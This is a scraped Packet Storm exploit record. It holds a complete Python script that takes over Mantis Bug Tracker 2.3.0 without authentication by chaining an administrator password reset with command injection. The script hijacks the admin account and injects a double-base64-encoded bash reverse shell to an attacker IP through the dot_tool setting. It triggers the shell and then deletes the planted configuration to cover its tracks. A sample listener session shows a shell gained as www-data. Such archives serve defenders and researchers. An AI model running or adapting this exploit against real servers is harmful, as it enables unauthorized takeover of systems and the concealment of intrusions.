{“lastseen”:”2025-12-18T16:35:31″,”description”:”Mantis Bug Tracker version 2.3.0 unauthenticated remote code execution exploit that chains together two vulnerabilities. The exploit resets the administrator password and then takes advantage of a command injection vulnerability…”,”published”:”2025-12-18T00:00:00″,”modified”:”2025-12-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Mantis Bug Tracker 2.3.0 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:213036″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2017-7615″,”CVE-2019-15715″],”sourceData”:”# Exploit Title: Mantis Bug Tracker 2.3.0 – Remote Code Execution (Unauthenticated)\\n # Date: 18\/12\/2025\\n # Exploit Author: Elijah Mandila Syoyi\\n # Vendor Homepage: https:\/\/mantisbt.org\/\\n # Software Link: https:\/\/mantisbt.org\/download.php\\n # Version: 1.3.0\/2.3.0\\n # Tested on: Ubuntu 16.04\/19.10\/20.04\\n # CVE : CVE-2017-7615, CVE-2019-15715\\n # References: \\n # https:\/\/mantisbt.org\/bugs\/view.php?id=26091\\n # https:\/\/www.exploit-db.com\/exploits\/41890\\n \\n ”’\\n \\n This exploit chains together two CVE’s to achieve unauthenticated remote code execution.\\n The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https:\/\/www.exploit-db.com\/exploits\/41890.\\n The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by ‘permanull’ (see references). \\n This is a modified version from Python2 to Python3.\\n Usage:\\n Set netcat listener on port 4444\\n Send exploit with \\”python exploit.py\\”\\n \\n Example output:\\n \\n kali@kali:~\/Desktop$ python exploit.py \\n Successfully hijacked account!\\n Successfully logged in!\\n Triggering reverse shell\\n Cleaning up\\n Deleting the dot_tool config.\\n Deleting the relationship_graph_enable config.\\n Successfully cleaned up\\n \\n \\n kali@kali:~\/Desktop$ nc -nvlp 4444\\n listening on [any] 4444 …\\n connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978\\n bash: cannot set terminal process group (835): Inappropriate ioctl for device\\n bash: no job control in this shell\\n www-data@ubuntu:\/var\/www\/html\/mantisbt-2.3.0$ id\\n id\\n uid=33(www-data) gid=33(www-data) groups=33(www-data)\\n \\n ”’\\n \\n import requests\\n from urllib.parse import quote_plus\\n import base64\\n from re import split\\n \\n \\n class exploit():\\n \\tdef __init__(self):\\n \\t\\tself.s = requests.Session()\\n \\t\\tself.headers = dict() # Initialize the headers dictionary\\n \\t\\tself.RHOST = \\”192.168.100.61\\” # Victim IP\\n \\t\\tself.RPORT = \\”80\\” # Victim port\\n \\t\\tself.LHOST = \\”192.168.100.59\\” # Attacker IP\\n \\t\\tself.LPORT = \\”443\\” # Attacker Port\\n \\t\\tself.verify_user_id = \\”1\\” # User id for the target account\\n \\t\\tself.realname = \\”administrator\\” # Username to hijack\\n \\t\\tself.passwd = \\”password\\” # New password after account hijack\\n \\t\\tself.mantisLoc = \\”\/\\” # Location of mantis in URL\\n \\t\\tself.b64builder = \\”bash -i \\u003e\\u0026 \/dev\/tcp\/\\” + self.LHOST + \\”\/\\” + self.LPORT + \\” 0\\u003e\\u00261\\”\\n \\t\\tself.b64formated = self.b64builder.encode()\\n \\t\\tself.b64encoded = base64.b64encode(self.b64formated)\\n \\t\\tself.b64encoded2 = base64.b64encode(self.b64encoded)\\n \\t\\tself.b64encoded3 = self.b64encoded2.decode()\\n \\t\\tself.ReverseShell = \\”echo \\” + self.b64encoded3 + \\” | base64 -d | base64 -d | \/bin\/bash\\” \\n \\n \\tdef reset_login(self):\\n \\t\\t# Request # 1: Grab the account update token\\n \\t\\turl = ‘http:\/\/’ + self.RHOST + \\”:\\” + self.RPORT + self.mantisLoc + ‘\/verify.php?id=’ + self.verify_user_id + ‘\\u0026confirm_hash=’\\n \\t\\tr = self.s.get(url=url,headers=self.headers)\\n \\t\\tif r.status_code == 404:\\n \\t\\t\\tprint( \\”ERROR: Unable to access password reset page\\”)\\n \\t\\t\\texit()\\n \\n \\t\\taccount_update_token = r.text.split(‘name=\\”account_update_token\\” value=’)[1].split(‘\\”‘)[1]\\n \\n \\t\\t# Request # 2: Reset the account password\\n \\t\\turl = ‘http:\/\/’ + self.RHOST + \\”:\\” + self.RPORT + self.mantisLoc + ‘\/account_update.php’\\n \\t\\tdata = \\”account_update_token=\\” + account_update_token + \\”\\u0026password=\\” + self.passwd + \\”\\u0026verify_user_id=\\” + self.verify_user_id + \\”\\u0026realname=\\” + self.realname + \\”\\u0026password_confirm=\\” + self.passwd\\n \\t\\tself.headers.update({‘Content-Type’:’application\/x-www-form-urlencoded’})\\n \\t\\tr = self.s.post(url=url, headers=self.headers, data=data)\\n \\n \\t\\tif r.status_code == 200:\\n \\t\\t\\tprint( \\”Successfully hijacked account!\\”)\\n \\n \\n \\tdef login(self):\\n \\t\\tdata = \\”return=index.php\\u0026username=\\” + self.realname + \\”\\u0026password=\\” + self.passwd + \\”\\u0026secure_session=on\\”\\n \\t\\turl = ‘http:\/\/’ + self.RHOST + \\”:\\” + self.RPORT + self.mantisLoc + ‘\/login.php’\\n \\n \\t\\tr = self.s.post(url=url,headers=self.headers,data=data)\\n \\t\\tif \\”login_page.php\\” not in r.url:\\n \\t\\t\\tprint( \\”Successfully logged in!\\”)\\n \\n \\n \\tdef CreateConfigOption(self, option, value):\\n \\t\\t# Get adm_config_set_token\\n \\t\\turl = ‘http:\/\/’ + self.RHOST + \\”:\\” + self.RPORT + self.mantisLoc + ‘\/adm_config_report.php’\\n \\t\\tr = self.s.get(url=url, headers=self.headers)\\n \\n \\t\\tadm_config_set_token = r.text.split(‘name=\\”adm_config_set_token\\” value=’)[1].split(‘\\”‘)[1]\\n \\n \\t\\t# Create config\\n \\t\\tdata = \\”adm_config_set_token=\\” + adm_config_set_token + \\”\\u0026user_id=0\\u0026original_user_id=0\\u0026project_id=0\\u0026original_project_id=0\\u0026config_option=\\” + option + \\”\\u0026original_config_option=\\u0026type=0\\u0026value=\\” + quote_plus(value) + \\”\\u0026action=create\\u0026config_set=Create+Configuration+Option\\”\\n \\t\\turl = ‘http:\/\/’ + self.RHOST + \\”:\\” + self.RPORT + self.mantisLoc + ‘\/adm_config_set.php’\\n \\t\\tr = self.s.post(url=url, headers=self.headers, data=data)\\t\\t\\n \\n \\n \\tdef TriggerExploit(self):\\n \\t\\tprint( \\”Triggering reverse shell\\”)\\n \\n \\t\\turl = ‘http:\/\/’ + self.RHOST + \\”:\\” + self.RPORT + self.mantisLoc + ‘\/workflow_graph_img.php’\\n \\t\\ttry:\\n \\t\\t\\tr = self.s.get(url=url,headers=self.headers, timeout=3)\\t\\n \\t\\texcept:\\n \\t\\t\\tpass\\t\\n \\n \\tdef Cleanup(self):\\n \\t\\t# Delete the config settings that were created to send the reverse shell\\t\\n \\t\\tprint(\\”Cleaning up\\”)\\n \\n \\t\\tcleaned_up = False\\n \\n \\t\\tcleanup = requests.Session()\\n \\n \\t\\tCleanupHeaders = dict()\\n \\t\\tCleanupHeaders.update({‘Content-Type’:’application\/x-www-form-urlencoded’})\\n \\n \\t\\tdata = \\”return=index.php\\u0026username=\\” + self.realname + \\”\\u0026password=\\” + self.passwd + \\”\\u0026secure_session=on\\”\\n \\t\\turl = ‘http:\/\/’ + self.RHOST + \\”:\\” + self.RPORT + self.mantisLoc + ‘\/login.php’\\n \\t\\tr = cleanup.post(url=url,headers=CleanupHeaders,data=data)\\n \\t\\t\\n \\t\\tConfigsToCleanup = [‘dot_tool’,’relationship_graph_enable’]\\n \\t\\t\\n \\t\\tfor config in ConfigsToCleanup:\\n \\t\\t\\t# Get adm_config_delete_token\\n \\t\\t\\turl = \\”http:\/\/\\” + self.RHOST + \\”:\\” + self.RPORT + self.mantisLoc + \\”\/adm_config_report.php\\”\\n \\t\\t\\tr = cleanup.get(url=url, headers=self.headers)\\n \\t\\t\\ttest = split(‘\\u003c!– Repeated Info Rows –\\u003e’,r.text)\\t\\n \\t\\t\\t\\n \\t\\t\\t# First element of the response list is garbage, delete it\\n \\t\\t\\tdel test[0]\\t\\t\\n \\t\\t\\t\\t\\n \\t\\t\\tcleanup_dict = dict()\\n \\t\\t\\tfor i in range(len(test)):\\n \\t\\t\\t\\tif config in test[i]:\\n \\t\\t\\t\\t\\tcleanup_dict.update({‘config_option’:config})\\n \\t\\t\\t\\t\\tcleanup_dict.update({‘adm_config_delete_token’:test[i].split(‘name=\\”adm_config_delete_token\\” value=’)[1].split(‘\\”‘)[1]})\\n \\t\\t\\t\\t\\tcleanup_dict.update({‘user_id’:test[i].split(‘name=\\”user_id\\” value=’)[1].split(‘\\”‘)[1]})\\n \\t\\t\\t\\t\\tcleanup_dict.update({‘project_id’:test[i].split(‘name=\\”project_id\\” value=’)[1].split(‘\\”‘)[1]})\\t\\t\\n \\t\\t\\t\\n \\t\\t\\t\\n \\t\\t\\t# Delete the config\\n \\t\\t\\tprint( \\”Deleting the \\” + config + \\” config.\\”)\\n \\t\\t\\t\\n \\t\\t\\turl = \\”http:\/\/\\” + self.RHOST + \\”:\\” + self.RPORT + self.mantisLoc + \\”\/adm_config_delete.php\\”\\n \\t\\t\\tdata = \\”adm_config_delete_token=\\” + cleanup_dict[‘adm_config_delete_token’] + \\”\\u0026user_id=\\” + cleanup_dict[‘user_id’] + \\”\\u0026project_id=\\” + cleanup_dict[‘project_id’] + \\”\\u0026config_option=\\” + cleanup_dict[‘config_option’] + \\”\\u0026_confirmed=1\\”\\n \\t\\t\\tr = cleanup.post(url=url,headers=CleanupHeaders,data=data)\\n \\t\\t\\t\\n \\t\\t\\t#Confirm if actually cleaned up\\n \\t\\t\\tr = cleanup.get(url=\\”http:\/\/\\” + self.RHOST + \\”:\\” + self.RPORT + self.mantisLoc + \\”\/adm_config_report.php\\”, headers=CleanupHeaders, verify=False)\\n \\t\\t\\tif config in r.text:\\n \\t\\t\\t\\tcleaned_up = False\\n \\t\\t\\telse:\\n \\t\\t\\t\\tcleaned_up = True\\n \\t\\t\\t\\n \\t\\tif cleaned_up == True:\\n \\t\\t\\tprint( \\”Successfully cleaned up\\”)\\n \\t\\telse:\\n \\t\\t\\tprint( \\”Unable to clean up configs\\”)\\n \\t\\t\\n \\t\\t\\t\\n exploit = exploit()\\n exploit.reset_login()\\n exploit.login()\\n exploit.CreateConfigOption(option=\\”relationship_graph_enable\\”,value=\\”1\\”)\\n exploit.CreateConfigOption(option=\\”dot_tool\\”,value= exploit.ReverseShell + ‘;’)\\n exploit.TriggerExploit()\\n exploit.Cleanup()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213036″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213036\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-18T16:35:31″,”description”:”Mantis Bug Tracker version 2.3.0 unauthenticated remote code execution exploit that chains together two vulnerabilities. The exploit resets the administrator password and then takes advantage…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-31884","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n